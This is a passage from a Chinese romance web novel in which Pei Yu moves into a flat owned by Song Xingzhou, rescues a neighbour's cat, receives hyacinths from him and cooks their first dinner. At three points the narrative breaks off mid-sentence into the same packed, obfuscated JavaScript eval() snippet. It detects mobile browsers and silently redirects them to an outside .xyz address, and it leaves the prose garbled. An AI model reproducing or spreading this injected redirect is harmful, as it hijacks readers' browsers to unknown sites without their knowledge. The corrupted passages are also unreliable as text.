下午五点五十五分,裴雨终于按下电脑电源键,关掉文档时那种如释重负的感觉仿佛压在她肩膀上的一块砖被移开。 她挎上包,坐电梯时已经在心里琢磨明天该打电话给哪家搬家公司了。 她计划先订纸箱——不需要太多,十个中箱五个大箱,自己还有几个收纳袋和压缩袋可以循环利用;然后订车,选可以按小时计费的,搬家路线不远,控制在两小时以内;再找保洁开荒,虽然房子干净,但保险起见,她打算请人擦一遍窗户,重点处理厨房卫生间。 晚上回到家,她洗了头,吹头发的功夫把整个计划又在脑子里复盘一遍。 十点钟,她趴在茶几上,打开了淘宝。 “搬家纸箱十个装……哦,这家送绑带和标签纸,好!” 她点开客服窗口确认尺寸:“请问这款中号箱是多少厘米的?” 客服:中号箱尺寸为53x29x33cm,适合装衣物、书籍及生活杂物。 “完美。”裴雨满意地付款,顺手又加购了两个厚实的封箱胶带。 买完纸箱,她接着去找搬家公司。 在各大平台来回横跳之后,她挑了一家评价不错、还有免费提供搬家毯和推车服务的公司,立马填了表单预约客服。 客服很快打来电话,她在电话里反复确认路线、时间、楼层、电梯情况,最后还不放心地又问了一遍能不能准点到。 “裴小姐放心,我们会提前半小时抵达,司机师傅会提前和您确认。”那边语气专业又温柔。 “好,那就周日早上八点,麻烦您了。” 挂掉电话那一刻,裴雨深吸一口气。 进度推进得相当顺利。 她打开记事本,把“联系搬家公司”这一栏画了个小勾勾。 然后开始在“开荒打扫”那一页补充内容: 马桶消毒 窗轨除尘 厨房吊柜擦拭 门把手全清洁 灯罩抹灰 看着密密麻麻的条目,她莫名满足。 人就是这样,一旦开始规划生活的细节,就会获得一种奇妙的掌控感。哪怕现实已经疲惫到极限,但只要清单一行行变成勾勾,就仿佛下一步也能顺利落地。 周五早上,天微亮,裴雨提前二十分钟醒来。 她盯着天花板发了会呆,忽然笑了。 这三天的加班好像把她抽干了,但这一刻,她竟然不觉得辛苦。 因为有工资到账,有房子可搬,还有自己的计划能一点点实现。 手机忽然响了一下。 是宋行舟发来的消息。 【宋行舟】:听说你加班结束了。搬家流程规划好了没? 她眼睛一亮,秒回: 【裴雨】:早就好了。我甚至有五页计划表。 【宋行舟】:……我该感到安心,还是该开始担心我以后的房东生活会被表格统治? 【裴雨】:你现在后悔还来得及,我还没签收钥匙。 【宋行舟】:晚了,我问物业了,说你来取过了。 【裴雨】:哼。 【宋行舟】:我周日早上在家,搬家那天要不要给你准备个欢迎仪式?比如一杯速溶咖啡+一块还没拆封的蛋卷。 【裴雨】:我考虑考虑你请不请得起两杯星巴克。 【宋行舟】:你要先给我看看你那五页表格,我看看预算批不批得下来。 裴雨笑着关了聊天框,又拿出小本子给搬家日写下了一行字: “欢迎自己入住新阶段。” 19. 搬家日和小插曲 搬家的这天,是个天气晴得有点过分的周日。 裴雨六点半就睁开眼了。她窝在床上发了五分钟呆,一边听小区外有环卫车刷刷扫地的声音,一边盯着天花板,思考一个哲学问题——为什么明明不是婚礼,也不是升职,就她一个人租个房子而已,居然还紧张得昨晚没怎么睡。 手机亮了一下,是搬家公司司机发来的消息,问她是否准时八点上门。 她手指一抖,回了个“准时”。 然后一个激灵翻身起来,开始她最后的打包冲刺。 其实大件早在两天前就被她拆好归位了。此刻她的任务只有两个: 一,把昨晚没塞进纸箱的剩余衣物全塞进去; 二,把自己精神状态从“刚睡醒”切换成“搬家小能手”。 裴雨穿着T恤和运动裤,头发扎了个松松垮垮的丸子头,趿拉着拖鞋,在屋里像只刚被打了强心针的仓鼠来回乱转。 她一边打包一边自言自语:“垃圾袋……啊,塞行李箱里了,行李箱呢?……诶我怎么又把袜子放进厨房箱了?” 她把一只袜子从电饭锅边上扒拉出来,叹了口气,像个临阵换防的将军,在客厅中间的纸箱堆里巡视一圈,最终举起一个标签写着“书籍”的箱子,挪到门口。 七点四十五,门铃响了。 她打开门,三个搬家工人站在门外,个个精神抖擞,像是来参加什么速搬比赛的。 “是裴女士吧?” “对,我是我。” “那我们开始哈,您把要搬的东西指一下。” 她手一伸:“这些……这些……这些都搬,除了冰箱,冰箱不是我的,还有……这个箱子我自己带,比较重要。” 工人点点头,动作飞快地开干了。 十分钟后,裴雨站在一片混乱之中,唯一能做的事就是努力别挡道。 “这箱子看着挺沉的,您自己能提?”一个工人看了眼她搁在一边的行李箱。 “能!”她拍了拍箱子,“我力量虽然没有你们大,但拎个箱子还是可以的。” 说完她当场演示了一下拎箱子,虽然有点歪,但好歹拎起来了。 几个工人交换了个眼神,没再说什么,只是小心翼翼地给她留出一小块站脚的地儿,像是在保护她的人身安全。 搬运的过程出奇顺利,可能因为东西少,也可能因为裴雨提前归类得太清楚,整个打包加装车用了不到四十分钟。 快八点五十时,她已经站在小区门口,朝车上的大件挥手告别。 “咱们现在去新地址吧?”司机探出头问。 “对,咱走吧,我骑车过去。” 她打开共享电动车APP,啪的一声扫了个码,骑在车上跟着搬家车慢慢往新家驶去。 一路上春风拂面,小区树影斑驳,她突然有点说不出的激动。像是小学毕业时搬家去新城市,又像小时候在新年第一天起床,什么都还没发生,但心里莫名其妙地觉得新生活已经要来了。 新家小区门口,宋行舟已经站在那儿了。 是她昨天打电话告诉物业要办搬家登记时,顺口提到自己早上九点到的。 她没想到物业还会把这消息传给他。 她骑车拐进来的时候看见他的时候差点以为自己眼花。 “你怎么在这?”她车一停稳,下意识问。 宋行舟懒洋洋靠在门口的栏杆边,戴着个墨镜,一副“我刚路过但又很有空”的姿态。 “不是说你九点搬家嘛,我就来看看会不会迟到。”他笑了笑,“果然不愧是你,一秒不差。” “你是保安队长啊,还查勤来了?”她噎了他一句,又忍不住笑,“早知道你在,我就不骑车了,刚才差点拐错路。” “你要真拐错了,我还能派无人机给你导航。” “滚。” 她脸一红,转头去跟工人确认上楼路线。 宋行舟没走,就跟在她身后当了一上午“看热闹的亲戚”。 搬家工人进进出出搬着箱子,他就端着咖啡在一边看,还不时点评一句“这个电视架不错”“你书真多,你是文科生吗”“这茶几还能用吗,不如我给你换个新的”…… “你是不是很闲?”裴雨终于在他问她要不要把纸箱分门别类贴小图标标签的时候崩溃了。 “我不是闲,我是充满热情。” “你热情快烧到我头上来了。” 工人搬完最后一箱时,裴雨站在新家的客厅里,长长松了口气。 “我们先走啦,收据和清单都发你微信了哈。”工人师傅笑着跟她挥手。 “好,谢谢!辛苦了!” 她送完搬家公司,关上门,瘫坐在地板上。 宋行舟从厨房拿出他昨晚放进来的矿泉水,给她递了一瓶:“搬得挺顺的吧?” “顺是顺……”她打开瓶盖咕嘟喝了口,“但我现在连拆个纸箱的力气都没有。” “你可以先不拆,今晚我来帮你。” “啊?” “我说——你要不先休息一会,晚上我来帮你一起收拾。” 裴雨哼了一声,把脸埋进矿泉水瓶后:“你能收拾出我妈来逼婚上门的那种干净效果我就服你。” “那我得先准备张大红喜字贴你门上。” 她一瓶水喷了个半口出来。 “宋行舟你……”她哭笑不得地一把扔了水瓶,“我真是疯了才觉得你有时候挺靠谱的。” “搬家不就是为了你能住得更舒适一点嘛。”他笑得理直气壮地说。 阳光正好,时间接近中午。 裴雨坐在新家的地板上,靠着沙发边沿喘了口气,刚才拆了四五个纸箱,腰快断了。她眯着眼看着客厅中央那些散落的泡沫和封箱胶纸,心里在计算还有几个箱子没动——她打算先拆出床单和餐具,其他的慢慢来。 宋行舟走进来,手里提着一袋热腾腾的饭盒和一杯冰咖啡。 “中午要不要休息一下?我看你快要把自己埋进箱子里了。” “你哪来的?”她望着他手上的饭盒,嗅到一阵香味。 “附近有家新开的湘菜馆,味道不错,我顺路去带了点。”他把饭盒放在茶几上,拿起湿巾开始擦桌子,“你不嫌弃就一起吃点?” “行吧,你都带回来了,我就勉为其难。” 她笑着接过饭盒,把沙发上的毯子铺在地板上,两人一人盘腿坐一边,打开盒子就开始动筷子。 饭菜是三菜一汤:剁椒鱼头、小炒肉、酸豆角炒蛋,还有一份紫菜蛋花汤。 “你点得挺会啊。”裴雨夹了口小炒肉,“这味儿正好,不油腻,辣得也舒服。” “西北人是不是应该都喜欢吃辣的。”宋行舟淡淡道。 裴雨一愣,低头喝了口汤掩饰了一下:“你还挺上心。” 他笑了笑,没接话,默默把剁椒鱼头转到她这边。 吃着吃着,门铃突然响了。 裴雨疑惑地抬头:“不会是物业吧?我不是已经登记了搬家时间了吗?” 她站起来走去开门,一打开门,门口站着个五六岁的小姑娘,一只手拉着一个毛绒玩具书包,一只手抓着门框,仰头看她。 “姐姐你好,我妈妈说你家阳台外有我们家的猫,你能帮我看看吗?” “猫?”裴雨一时没反应过来。 “对啊,我们家那只橘猫,早上跑出去一直没回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726838|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我妈妈在阳台上看到它跳到你家阳台边了。” 裴雨愣了两秒,然后下意识地去阳台看。 果然,阳台角落里窝着一团毛色偏深的橘猫,正打着呼噜睡得香,压根没把人类的焦急放在眼里。 “你家猫叫啥?”她转头问小姑娘。 “胖胖!” “……确实挺胖的。” 她轻手轻脚走过去,刚想伸手,猫“唰”地一下睁开眼,警惕地瞪着她。 “胖胖,来,来,别害怕,姐姐不吃你。”她轻声哄着,但胖胖死活不动窝,反而往花盆后头躲了躲。 宋行舟闻声也走过来,往阳台一探:“这猫看着不太熟人啊。” “它的确不熟我,”裴雨蹲下身,“但你也不熟啊。” 她抬头冲小姑娘喊:“你妈在不在?要不要让你妈来抱它?” “她没空……她在楼下买菜呢。”小姑娘有点不知所措。 “那你先回去等会儿,姐姐把猫哄出来就给你送下去,好不好?” “真的可以吗?” “当然啦,放心吧。” 她关上门,转回阳台,和猫大眼瞪小眼。 猫开始舔爪子,像是在用实际行动告诉她:“我不走,我就赖这了。” “我说胖胖啊,你这不对劲啊。”她拿了点午饭的肉块在指尖晃了晃,“你再不走,姐姐晚上就给你洗个香香澡。” “你吓它干嘛?”宋行舟笑,“要不我来试试?” “你跟它更不熟。” “我不熟可我有秘密武器。” 说着,他从厨房翻了包猫粮出来。 他早上出门时顺手带的一点试吃装,本来是给朋友家猫咪准备的。 “你哪来的猫粮?”她讶异地问。 “你看厨房角落的纸袋子里不是有一包?”他一边说一边拆开小包装,把几粒倒在阳台地板上,猫果然抬起了头,耳朵竖了起来。 “你动作轻点啊。”她压低声音。 “别担心,我连猎犬都哄过。” “真的假的?” “当然是假的。” 他蹲下身,手里一点点把猫粮往阳台门方向撒,引导胖胖自己走过来。橘猫一开始还在犹豫,等闻到味道之后终于缓缓起身,一步三停地挪了过来。 “来,胖胖,来来来,往这边走……”他声音比平时低了几度,像是广播电台的深夜主持人。 最终,橘猫乖乖地走到了他脚边。 裴雨眼睛一亮:“我靠你真行。” “收服野猫靠的不是技术,是信仰。”他说得一本正经,把猫轻轻托起来,“走吧,送还原主。” 他抱着猫下楼,回来时手上多了一个牛奶纸袋,小姑娘的妈妈非要送点东西当感谢,他推了两次实在拗不过,只好拎着回来了。 “你倒是很适应这种邻里互助的生活。” “你不觉得挺有意思的?”他放下牛奶,挑眉,“你搬来第一天就帮邻居找猫,日后不定被当成居委会骨干。” “我可不敢有这个待遇。” 她坐回地板,刚想拿起筷子再吃几口,结果被猫毛弄得一阵打喷嚏。 “得,我搬家第一天的小插曲来了。”她一边擦鼻涕一边笑,“以后我的阳台会不会成小区动物聚集地?” “那你得赶紧把纱窗装上。” “哎对。”她想起来,“还有灯罩没换、洗衣机要调、窗帘还没来……我突然就不想住新家了。” “那怎么办?”他笑眯眯地说,“我这还有一张沙发欢迎你随时落脚。” 她斜他一眼:“你是不是在等我说这句?” 他耸耸肩:“我没有,但我不反对。” 20. 一束鲜花和仪式感 下午三点半,阳光从窗外倾洒进来,在地板上铺出一整片温暖的斑驳光影。 裴雨盘腿坐在客厅中央,手边摊着一堆拆了一半的书箱,腰酸背痛地歪在椅子边,一边翻着旧书一边嘟囔着:“这本怎么还在……不是说好扔了吗……”她说的是一本大学时期的自习笔记,封面用塑料皮套裹得死紧,上面还贴着一张“雨雨专用”的贴纸,字体圆滚滚的,怎么看怎么像当年宿舍楼下的小卖部买的儿童贴纸。 她拿着那本笔记看了会儿,笑着摇头,最后还是没扔,悄悄塞进了书柜最下面一格。 再转头看,地上四散着的还有好几摞小说和散文集,混着几本从书展上买回来的画册,有一本甚至还贴着“展销九折”的红标。 “我到底搬了几个箱子的书……”她哀嚎一声,瘫坐下去,盯着天花板发呆。 客厅里静悄悄的。 她下意识朝厨房方向看了眼,没看到宋行舟的影子。 “去哪了?”她自言自语,想着他可能是下楼倒了个垃圾,或是给橘猫留了点吃的,又或是跑去车上拿什么工具了。 她并没太放在心上,拿起封箱剪刀继续拆箱,把剩下那几本诗集放上书架。半小时后,阳台边的风吹动窗帘,裴雨正在厨房角落试图把那台她完全不熟悉的洗碗机摸清楚怎么用时,门口忽然传来一声“喂——”。 她探出头去,只见宋行舟站在门口,脸上带着一点浅笑,手里竟然捧着一束花。 “你……”她一时怔住,视线在那束花上扫了又扫。 不是常见的红玫瑰,也不是商场里扎堆打折的康乃馨,而是一束颜色清淡柔和的风信子,淡紫色和乳白色交错着,在其中点缀了几枝不太常见的蓝星花和少许满天星,那些满天星没有通常的白,而是处理过颜色的淡蓝,像刚落在枝头的小雪。 “你这……”她慢半拍地反应过来,声音不自觉地带了笑意,“买花干嘛?” “不喜欢么?”宋行舟把花递给她,像是给人送外卖一样自然,“今天这么正式地搬进来,也算个纪念日,我就想着……你大概会喜欢这种仪式感。” 裴雨看着他,又低头看那束花,好一会儿才伸手接过来,低头闻了闻:“哇,是真的香诶。” “你以为我从小区后花园揪的?” “也不是没这个可能。”她眼睛亮亮的,又忍不住笑,“你怎么记得我喜欢风信子?” “你说过一次。”他拉过椅子坐下,“白天搬家我们路过那家花市门口,你说风信子特别像你小时候看的童话书插图,颜色淡得像糖水,小时候买不起,长大了也懒得买了。” 裴雨一怔,竟然真没印象自己讲过这话。她随口的一句话,他竟然记下来了。 “我以为你不会记这些。”她低声说。 “我不是什么都记,”宋行舟靠在椅背上,笑得很轻,“但有些事情,听见了就忘不了。” 客厅里安静下来,只有她手里的风信子,散发着淡淡的花香,混着窗外一点初春阳光,有点不真实的恍惚。 裴雨低头,像是掩饰情绪一样,把花轻轻放进餐桌边刚收拾出来的玻璃花瓶里,那花瓶原本是她从旧家带来的,搁在箱底,今天才刚刷干净。 “水还没加,”她说着起身去厨房接了小半杯温水,一点点倒进去,摆好角度,又转头看了看宋行舟,“我总不能就这么收下吧?要不要请你喝杯水?” “你要真想报答我,也可以请我吃饭。” “你不刚吃了我半份剁椒鱼头。” “那不是我点的吗?”他挑眉,“这次我说你请我吃的。” “那你想我请你吃冰箱里的方便面?” “如果你愿意,那我也乐意接受。”他说得煞有其事。 裴雨被他逗得笑了起来:“你要不要脸?” “不要了。”他笑着说。 她摇头无奈,把花瓶往中心一点的位置挪了挪,又退后两步看了看,点头道:“行吧,今天的新家里的第一件装饰品就是你这个仪式感贡献的。” 宋行舟靠着椅子,手肘搭在椅背上,看着她一丝不苟摆花的背影,没说话。 过了会儿他才缓声道:“你现在应该算真的搬进来了。” “当然,”裴雨随口说着,“门锁换了,水电过户了,连猫都接待了一只。” “也包括花了。” “嗯,包括你给我的这束花。” 她说这句话的时候背对着他,语气平淡,但自己心里却像是微微颤了一下。 生活里常见的许多时刻她都经历过,开会、谈业务、熬夜改方案,甚至大半夜修电表和堵马桶,但像今天这样——有人安安静静地下楼去买了一束她恰好喜欢的花,只为庆祝她一个人住进一个家——这种时刻,对她来说,是太少见了。 “你该不会以后每个月都要来一束吧?”她转过身打趣,“到时候邻居还以为你住这儿。” 宋行舟没立刻接话,而是看了她一眼,说:“要是我真住这儿,你会介意吗?” 裴雨一怔,没说话。 但她耳朵一点点红了。 “我开玩笑的。”他忽然笑了下,像是收回刚刚那句太直白的话。 裴雨瞪了他一眼:“你这人怎么越来越爱试探人了?” “哪有,我明明是很真诚的。” 她转开视线,把那束风信子又往中心挪了两厘米:“你再真诚下去我可要考虑装个防盗门了。” 他失笑,没再说什么。 两人就这么坐了一会儿,阳光越发柔软,落在花瓣上,像是给那束风信子披了一层纱。 风吹过窗帘,空气里多了一点新的味道,不是搬家打扫后留下的洗洁精味,也不是饭菜的油烟,而是一点点花香混着木头地板的新鲜感。 这是个新家,是她的。 裴雨抱着那束刚插好的风信子,坐在客厅的阳光里发了几秒呆,才像是忽然想起什么似的站起身来:“哎,差点忘了。” 宋行舟闻声抬头,“忘了什么?” “晚饭啊。” “不是中午刚吃完湘菜?” “那不算。”她理直气壮地说,“我早就想好了,在新家第一顿饭要亲手做。刚刚那顿是搬家临时凑合的,这顿才是真正意义上的‘第一顿’。” “行。”他靠在椅背上,嘴角扬着点笑,“你做,我吃。” “你真就这么赖着不走了啊?”她半开玩笑地说,手已经伸向厨房的冰箱门,“我还没请你呢。” “那你现在请。” 裴雨朝他瞥一眼,又噗嗤笑了下:“得了,那你可不能光吃不干活——厨房刚收拾好,锅碗瓢盆你给我刷干净。” 宋行舟举起双手,一副听令模样,“遵命。” 她打开冰箱,里面还不算太空,都是她昨天下班特意买来打包好带到这里的。最上层是两个鸡蛋和一包西红柿,中间一盒切好的豆腐和一袋青椒,冷藏区角落放着一小盒她最爱的木耳拌菜。 她把鸡蛋和西红柿先拿出来,回头对宋行舟说:“我之前就想好了,新家的第一顿必须有西红柿炒鸡蛋,还有荷包蛋。虽然重复了点,但你不懂这个的意义。” 宋行舟点头:“你说,我听着。” “小时候每次搬家,我妈都会做这两个菜,说是‘起个好兆头’,颜色红黄亮堂,代表日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738091|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红火。后来我一个人出来工作,第一个租的房子也这样做了一顿。”她说着,把鸡蛋磕进碗里,“你别笑我哈,我是真的很迷信这些生活仪式感。” “谁笑你了?”他靠着厨房门框,双臂环胸,语气倒是出奇的认真,“我觉得挺好的。很多人过日子都过成流水账了,你能坚持点什么,其实是件挺珍贵的事。” 她手里搅蛋的动作顿了顿,又低头笑了笑:“你今天是怎么回事,说话这么让人开心?” “平时让你不开心了?” “平时……”她顿了下,话没说出口,最后变成一声轻哼,“你快去把那个锅洗了,别光在这儿当人形弹幕。” 厨房的水声和炒菜声交错着响起。锅里的油热了,西红柿炒出红亮的汁水,打好的鸡蛋在锅中翻卷成金黄,香气四溢地飘进客厅。 宋行舟刷完碗回来,鼻子动了动:“你这个炒西红柿鸡蛋的香味,不输我妈。” “那你妈水平不太行。”她头也不回地抛出一句。 “……你就不能夸回来一点?” “还不算夸你?不然你哪来的加饭资格。” 他没再说话,只是笑了。 饭菜做好一共三个:一个荷包蛋,外圈焦黄,蛋黄还保留了点微微的流心,正好配饭;一盘红得发亮的西红柿炒鸡蛋,汤汁足、颜色好看,装在白瓷盘里分外诱人;还有一道清炒青椒豆腐,是她今天临时加的,简单却有滋味。 她把饭菜端上桌,回头拍了拍手:“你今天运气真好,我原本只打算做俩菜的。” 宋行舟把筷子递给她:“那是因为我刷碗刷得好。” 她嗤笑一声:“你是脸皮厚。” 他们就着这三道菜安安静静吃饭。 客厅里没开电视,窗外天光渐暗,屋内的灯光在瓷盘上落下清晰光斑。裴雨吃得慢,她喜欢拌饭吃西红柿鸡蛋,用筷子压着米饭拌匀,那样才有小时候的味道。她一边吃一边讲以前住在城中村的小房子怎么也坚持做饭,“哪怕灶台只有半个锅那么大,也不愿意天天吃外卖。” “你很能照顾自己。”宋行舟夹起一块豆腐说。 “我不是能照顾自己。”她顿了下,“我是很会‘安慰’自己。” 他没接话,只是安静地吃完饭,等她放下筷子后站起来收盘:“我来吧,你今天煮饭辛苦。” “你洗得也够慢。”她在他身边嘀咕着,但声音不大,“你洗完我来擦桌子。” “你这人分工还挺细致。” “我都这么认真地搬了个家了,第一顿饭当然要认真收尾。”她说,“这叫开好一个局。” 宋行舟没再争,卷起袖子洗碗,动作不算熟练,但至少不会打碎。 裴雨靠在门口,一边看着厨房里他忙碌的背影,一边盯着刚刚插好的风信子发呆。 她忽然有点恍惚。像是从大学毕业后第一次租房时一样,那种“终于是我自己的生活了”的实感再次出现,但又有种微妙的被体贴的感觉。 有人愿意为你上下跑两趟,洗碗、搬花、听你说那些不着边际的“新家仪式感”,这种体贴本身,就是难得的事。 等饭碗洗完,她收拾好餐桌,又走回客厅,在那束风信子旁边坐下。 “你不急着走?”她问。 “你赶我?” “我怕你赖上这儿。” “那你是不是得准备个备用钥匙?” 她瞪了他一眼:“你现在怎么说话越来越像那种磨人的邻居大哥了?” 他笑了笑,没接话。 窗外天已全黑,室内只剩柔和灯光洒在两人之间。一束风信子开得正好,香味温和,却安稳。 21. 那你住在哪 饭后,宋行舟并没有立刻离开。 裴雨收拾完桌子,客厅里灯光暖黄,她坐在那束风信子旁边,手里捧着一杯白开水,靠在沙发一角,整个人懒洋洋地窝着,有点不想动了。宋行舟则坐在靠近玄关的单人沙发上,双手自然地搭在膝盖上,目光不经意地扫了一眼客厅墙上的时钟。 晚上七点半。 这个时间点,说早不早,说晚不晚。 “你不回去?”她终于还是问了句。 “马上。”他语气平静,像是随口一答,又像是真的没打算久留,“等你歇口气,我再走。” “那你不是还得等到我睡觉?”她笑了笑。 “那也得看你是不是困得睡着了。” 两人都没有说话,时间短暂地停顿了一下。电视没开,窗户没关,室内很安静,能听见窗外某户人家的电视声和不远处小区外面偶尔传来的车鸣。 裴雨忽然就陷入了一个很奇怪的意识断层里。 她住进了他的房子,这是一件事实清楚、经过合理手续确认过的事情——合同已经签好,押一付三,物业那里也挂了她的名字,钥匙也是通过正当渠道交接的。她理所当然地觉得这是一次正常的租赁行为,所有细节都很专业,除了房东本人有点……过于“参与”。 她一抬眼,正好撞上宋行舟那双安静的眼。 “我问你个问题,”她盯着他,“你现在住哪儿?” 他显然没想到她突然冒出这一句,笑了一下:“你这是在查户口?” “不是。”她盯着他不放,“我就忽然意识到,你知道我住哪儿、怎么布置的、每个房间什么样,可我连你住哪栋楼都不知道。” “你想知道?” “当然想。”她抱着水杯,膝盖顶着下巴,“说吧,是不是就在附近?” 宋行舟没有立刻回答,而是抬手挠了下眉骨,像是犹豫了一下,才缓缓道:“嗯,确实不远。我住小区东门那边的D栋,十五楼。” 裴雨顿了顿,脑子里迅速拉出小区地图,D栋是她搬进来的这条主干道最尽头的一幢,电梯新、楼层高,靠近健身房和游泳池那一块。她之前还想过早上要不要绕那边走快一点。 “你……也是业主?” “嗯,几年前买的。”他说得轻描淡写,“我爸这套房子空着挺久,原本想挂出去租,后来一直懒得管。” “那你原本根本没打算租吧。”她忽然意识到了这个细节,“你租房这件事,不会是你临时起意的吧?” “倒也不是临时。”他想了想,“但确实是看你问了,才动了念头。你住进来也不错,我这边房子起码不会空着长灰。” “你这说法,怎么听都像是哄人的。” “那你觉得我为什么答应你租房?”他突然问。 这个问题问得太直接,裴雨反而一时答不上来。 她垂下眼,盯着水杯里的气泡一个个冒出来。她当然想过这个问题,宋行舟不是那种热心肠到随便把自家空置房让人住的类型,更别说对她这种“半熟不熟”的陌生人。 “因为……我说房子急用?” “但你也说了你预算低、需求多。” “你说得好像你多缺这点房租。” “那你呢?”宋行舟忽然反问,“你又为什么想租这里?” 裴雨哑然。 她嘴上说是偶然,其实并不是。她从听到宋行舟说“我家就在那片”的那一刻起,某种奇怪的直觉就让她觉得,如果能住到他家附近,好像生活会开始变得不太一样。 不是说他会做什么、给她什么,而是……他在,她心里会更稳一点。 “我就是觉得……这边安静、阳光好、离地铁近。”她把这些标准答案背了一遍,末了才有点底气不足地加了一句,“而且……我也没多想。” “那现在想了吗?” 他这人说话总是慢悠悠的,一旦认真起来却有种奇异的压迫感,声音不大,却能让人心跳慢半拍。 裴雨垂下眼,低声嘀咕:“想了,但也不敢想太多。” 空气沉了沉。 宋行舟忽然站起身,把自己的水杯放进厨房水槽,转身回来时,脸上没什么异样,声音仍然带着点散漫:“那你现在可以多想一点了。” “……” 她愣住。 “比如,明天早餐吃什么。” 他似笑非笑地看了她一眼:“你不是说仪式感重要吗?第一晚住进来,早餐也得有安排。” “你想蹭饭?” “我可以带饭。你想喝豆浆,我也能顺便买。” 她盯着他那张一本正经说“蹭饭”话的脸,实在是憋不住地笑出声。 “宋行舟,你到底图什么啊?” “图你安静住下来,别总拿什么‘租了人家房子不好意思’的包袱套自己。”他说完,又像是漫不经心地看了一眼她的客厅,“你住得舒服,我也安心。” 一句话,说得不轻不重。 她没再回嘴,只是抿着嘴角,笑意被她压进了水杯底。 窗外晚风起,屋内的风信子在夜灯下轻轻摇晃,颜色淡紫,香气安稳。 她想,今天这一整天,他们吃了两顿饭,一起搬了家,他还送了花。 她也终于知道他住在哪儿了。 进度确实不快,但她心里的某个温温热热的地方,已经悄悄往前靠了一点点。 宋行舟走的时候,裴雨没送他。 准确地说,是他自己识趣地没让她送。他站在玄关处换鞋,回头扫了一眼厨房台面上那还未完全干透的碗碟,说了句“早点休息”,就自己关了门。 “早点休息”四个字落地那一刻,整个房子瞬间像是被某种无形的罩子罩住了,连窗外的风声都轻了几分。 裴雨坐在沙发上,手机扔在一旁,双手抱膝,心里有点乱。 不是那种“惊涛骇浪、天翻地覆”的乱,而是那种浅水区踩到一团软泥似的——一瞬间没站稳,又不至于摔个四仰八叉,可余悸久久不散。 今天这一整天,她的理智上线过,也掉线过,现在又好像重新上线了。她开始用那个标准理智的自己在脑子里对刚刚的自己发出质疑: 你是租了他家的房子没错,可你现在住进来了,人家还送花、陪吃饭、问早餐……你这是租房呢,还是拐人谈恋爱? 她头一回对“住同一小区房东家”这件事感到了前所未有的“不安全感”。 不是怕他不靠谱,是怕她自己不靠谱。 毕竟她刚才真的是笑得太甜了,还差点主动问他明天几点上班要不要顺路带早饭。幸亏那句问出口之前她脑子刹住了车,不然现在估计已经把自己套进一场想太多的幻想里。 裴雨觉得不行,不能再自己纠结下去了,她需要外援。 她果断伸手捞起手机,划开通讯录,点了刘盼盼的名字。 刘盼盼那头接得飞快,几乎是秒接:“哟,搬家女皇终于舍得找我了?” “盼盼。”她声音低了点,“你忙吗?” “正窝在床上看剧呢,《长街饮雪》看了吗?男主好帅——不过我猜你不是来听我安利电视剧的,说吧,怎么了?” 裴雨犹豫了一下,然后一鼓作气地说:“我今天跟宋行舟一天吃了两顿饭。” “……” 对面沉默了一秒,然后语气突然拔高,“等等!你们才刚搬完家就——吃!两!顿? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743446|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不是那种顿,是我做的饭,请他顺便留下来吃的。” “那就更严重了!”刘盼盼尖叫一声,“你什么时候会在搬完家之后、在厨房只擦了半干、调料还没归位的时候请一个男人吃饭的?” “他是房东嘛……” “呵呵。”刘盼盼冷笑一声,“你要是把‘他是房东’这句话重复三遍,我就信你是真的把人当房东看。” “你先别拐着弯儿骂我。” “我这是直着骂你呢宝。” 裴雨拿手机的手慢慢松下来,靠在沙发上,深吸了一口气:“我其实……就觉得有点奇怪。他今天带花上来的那一下,我有点乱。” “花?他送你花了?!” “风信子,还有一些白色小雏菊混着一点满天星,花店老板调的,说是阳光又不腻。他没说别的,就是说觉得我应该会喜欢这种仪式感。” 电话那头瞬间沉默。 “盼盼?” “……我是真的,真的要忍不住了。”刘盼盼的语气听上去像是从床上坐了起来,“你们这不是暧昧期了,这是试营业阶段好吧?他送你花、吃你饭、知道你住哪、还跟你住同一个小区,照你这个节奏发展下去,是不是下周就得考虑一起装护照准备订婚旅行了?” “你胡说八道什么呢!”裴雨被她说得头皮一紧,“我只是想确认一下,他是不是……可能,只是作为房东、邻居、朋友之间的那种关心。” “宝贝,你醒醒。”刘盼盼慢条斯理地说,“一个电厂运行人员、穿工装的男人、能记得你说喜欢风信子、还愿意特地下楼买花再送上来、饭后洗碗又不走,一天吃两顿饭后还能帮你想早餐,你觉得他对你没意思?我看你不是被爱冲昏了头脑,是被理智捆得喘不过气来。” “可他没说啊,他就是那种说话慢条斯理、做事安安稳稳的性格。” “那不正说明他不是在玩你?” “那我更得冷静一下了。”裴雨抱紧了手机,“我现在才刚搬进来,住的还是他家的房子,万一我误会了,或者我表现得太明显了……那多尴尬啊?” 